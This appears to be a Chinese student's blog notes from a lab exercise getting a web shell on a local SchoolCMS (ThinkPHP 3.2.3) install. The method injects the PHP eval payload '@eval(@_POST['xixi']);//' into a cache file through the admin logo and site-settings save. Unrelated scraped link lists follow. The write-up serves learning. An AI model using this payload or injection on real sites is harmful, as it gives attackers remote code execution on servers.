一周后,终于可以学习到可爱的渗透了哈哈哈。除了大哥给的CMS(其实可以算是只是在文件上传的时候了解一下),但是对于一个CMS完整的渗透思路,我还是不懂。首先感谢章老师给我的CMS源码哈哈哈,在我的日记里祝章老师越来越大佬哈哈。

0x01 前言

首先看一下别人博客的思路:https://blog.csdn.net/hibari_18/article/details/75029421

自己捋一遍思路,CMS:“内容管理系统”,来有效解决用户网站建设与信息发布中常见的问题和需求。对网站内容管理是该软件的最大优势,它流程完善、功能丰富,可把稿件分门别类并授权给合法用户编辑管理,而不需要用户去理会那些难懂的SQL语法。

渗透思路:判断CMS类型---根据类型搜索敏感信息(当然这里已经有登录账号和密码了)---getshell exp ---自我发挥

0x02 第一步准备阶段(基本信息)

一 判断CMS类型

1.首先我们应该了解常见的CMS类型有哪些,我就比较憨厚了,只知道discuz这一种(龇牙),所以请无时无刻抓紧学习。。。

方法如下:https://blog.csdn.net/qq1124794084/article/details/79218596

  • 看网页最末端的版权信息
  • 抓取robots文件
  • 查看网页源码的方式(无robots.txt)【visual sitebuilder 9】
  • 通过字典查看网站的MD5值

在这里,我们通过版权信息看到类型为:schoolCMS (注意:在有些时候打开网页的时候显示的后台登陆,但是如果换一台电脑,呈现出来的可能是网站的首页。。或者二者之间交换。。)

2.收集schoolCMS的相关信息:框架(及框架版本)、该框架可能存在什么漏洞。。然后发现schoolCMS得到

其官网:

框架为:thinkphp,版本号为3.2.3

3.搜索该版本的漏洞。发现小于thinkPHP3.2.3有漏洞一大堆。。。。

二 收集敏感信息

  • 找后台(御剑 啊D)<虽然我知道这些东西已经过时了。。>
  • SQL注入爆管理员账号和密码。

由于这里只是一个实验,,我就不做密码猜解了。。。(稍后回来试试)

三 开始实验

1. 登录后台以后,发现在表格那里可以上传,表格可以与ASP文件合成上传吗??试一下。。

2.在后台管理页面--站点管理--可以上传主页logo

总结渗透第一步:收集资料,这个框架漏洞,通过报错来看(这里截图是另外一个演示)。

0x03 漏洞分析

1.得知框架是thinkPHP3.2,查看其漏洞文件:

D:\PhpStudy\PHPTutorial\WWW\schoolcms\Application\common\common\funtion.php中的MyConfigInit()方法

*这里了解到common文件夹:共享资源文件夹,很多软件需要调用里面的文件

2.打开网址:http://127.0.0.1/schoolcms/schoolcms/admin.php?m=admin&c=site&a=index

发现这里可以上传,找到其分析文件

D:\PhpStudy\PHPTutorial\WWW\schoolcms\Application\Admin\Controller\SiteController.php的save方法

然后分析代码,在最后的save方法里面,将所有的用户进行校验并更新:

跟进那个save方法,跟进路径:

D:\PhpStudy\PHPTutorial\WWW\schoolcms\Application\Admin\Controller\CommonController.class.php这里面有个key函数

继续跟进这个S()方法的key函数,章老师说这里有个键注入。。我真的真的了解不清楚了哈哈哈

这个函数我是真的没有找到。。。不知道路径。。。

然后大佬的文档里面说:

D:\PHPstudy\PHPTutorial\WWW\SchoolCMS\schoolcms\Application\Runtime\Temp

这里就是缓存的我们上传的文件,上传一次更新一次,点进去发现可【这里转换为php的原理是什么呢??】

然后我们将我们的payload放进去:@eval(@_POST['xixi']);//

0x04 漏洞利用

我们直接访问上传logo的页面,然后抓包-->改包(改包就是将我们的变量里面加入shell);

再查看服务器缓存文件:

发现shell已写入:

然后访问URL:

http://192.168.50.161:801/schoolcms/schoolcms/Application/Runtime/Temp/38432eb7369925b9a826f2b9f64e2262.php

OK!

CMS(1)的更多相关文章

  1. CTF CMS(转)

    CTF--CMS漏洞总结 海洋CMS 6.28 海洋CMS6.28命令执行漏洞 6.45-6.54 漏洞预警 | 海洋CMS(SEACMS)0day漏洞预警 8.8(未验证) 海洋cms前台到后台的g ...

  2. 纸壳CMS(ZKEACMS)体验升级,快速创建页面,直接在页面中修改内容

    关于纸壳CMS 纸壳CMS又名 ZKEACMS Core 是ZKEACMS的 .net core 版本,可运行在 .net core 1.1 平台上.是一个开源的CMS. 纸壳CMS对于 ZKEACM ...

  3. Django+MySQL开发项目:内容管理系统cms(一)

    Baker-Miller Pink被科学方法证实可以平静情绪并且抑制食欲的颜色,具有amazing的效果.基百里面说实验结果表明该颜色具有: "a marked effect on lowe ...

  4. Elasticsearch Java虚拟机配置详解(转)

    引言: 今天,事情终于发生了.Java6(Mustang),是2006年早些时候出来的,至今仍然应用在众多生产环境中,现在终于走到了尽头.已经没有什么理由阻止迁移到Java7(Dolphin)上了. ...

  5. 基于JVM(内存)和Tomcat性能调优

    一.总结前一天的学习 从“第三天”的性能测试一节中,我们得知了决定性能测试的几个重要指标,它们是: ü   吞吐量 ü   Responsetime ü   Cpuload ü   MemoryUsa ...

  6. YII框架学习(一)

    1.安装: windows:将php命令所在的文件夹路径加入到环境变量中,通过cmd命令:进入yii框架中的framework目录,执行: php yiic webapp ../cms linux:类 ...

  7. JVM 堆内存设置原理(转)

    堆内存设置 原理 JVM堆内存分为2块:Permanent Space 和 Heap Space. Permanent 即 持久代(Permanent Generation),主要存放的是Java类定 ...

  8. JVM系列(四)之GC调优

    JVM内存参数调优 为什么要GC调优? 或者说的更确切一些,对于基于Java的服务,是否有必要优化GC?应该说,对于所有的基于Java的服务,并不总是需要进行GC优化,但当你的系统时常报了内存溢出或者 ...

  9. Java进阶专题(十一) 想理解JVM看了这篇文章,就知道了!(中)

    前言 ​ 上次讲解了JVM内存相关知识,今天继续JVM专题. JVM垃圾回收算法 什么是垃圾回收 ​ 程序的运行必然需要申请内存资源,无效的对象资源如果不及时处理就会一直占有内存资源,最终将导致内存溢 ...

随机推荐

  1. vue 自定义封装组件 使用 model 选项

    自定义组件的 v-model 一个组件上的 v-model 默认会利用名为 value 的 prop 和名为 input 的事件,但是像单选框.复选框等类型的输入控件可能会将 value 特性用于不同 ...

  2. thinkphp 模板变量输出替换和赋值

    一.变量输出的几个方法 <?php namespace app\index\controller; use http\Params; use think\Config; use think\Co ...

  3. rocketmq启动broker内存占用过大的问题

    解决方法: 修改broker启动脚本runbroker.sh里面的jvm参数 JAVA_OPT="${JAVA_OPT} -server -Xms8g -Xmx8g -Xmn4g" ...

  4. [洛谷P1709] 隐藏的口令

    问题描述 有时候程序员有很奇怪的方法来隐藏他们的口令.Binny会选择一个字符串S(由N个小写字母组成,5<=N<=5,000,000),然后他把S顺时针绕成一个圈,每次取一个做开头字母并 ...

  5. 对webpack的初步研究5

    Loaders 加载器是应用于模块源代码的转换.它们允许您在处理import或“加载” 文件时预处理文件.因此,加载器有点像其他构建工具中的“任务”,并提供了处理前端构建步骤的强大方法.加载器可以将文 ...

  6. php key()函数 语法

    php key()函数 语法 作用:返回数组内部指针当前指向元素的键名.大理石构件支架 语法:key(array) 参数: 参数 描述 array 必需.规定要使用的数组. 说明:返回数组内部指针当前 ...

  7. P2627 修剪草坪 (单调队列优化$dp$)

    题目链接 Solution 70分很简单的DP,复杂度 O(NK). 方程如下: \[f[i][1]=max(f[j][0]+sum[i]-sum[j])\]\[f[i][0]=max(f[i-1][ ...

  8. Python 测评工具

    开源--Python测评工具 Github仓库 本次实验作业的测评工具仅使用Python语言编写. 程序思路是基于文本的快速匹配. 编译test.py运行 1.GUI界面 GUI界面使用了PyQt5完 ...

  9. composer国内镜像

    composer国内镜像 一.总结 一句话总结: 直接百度 “composer 国内镜像” 即可 直接运行:composer config -g repo.packagist composer htt ...

  10. thinkphp 带检索参数分页

    模板文件中,提交搜索内容要用get方法,同时设置g.m.c隐藏域. <form action="{:U('Sck/qbscHjsc')}" method="get& ...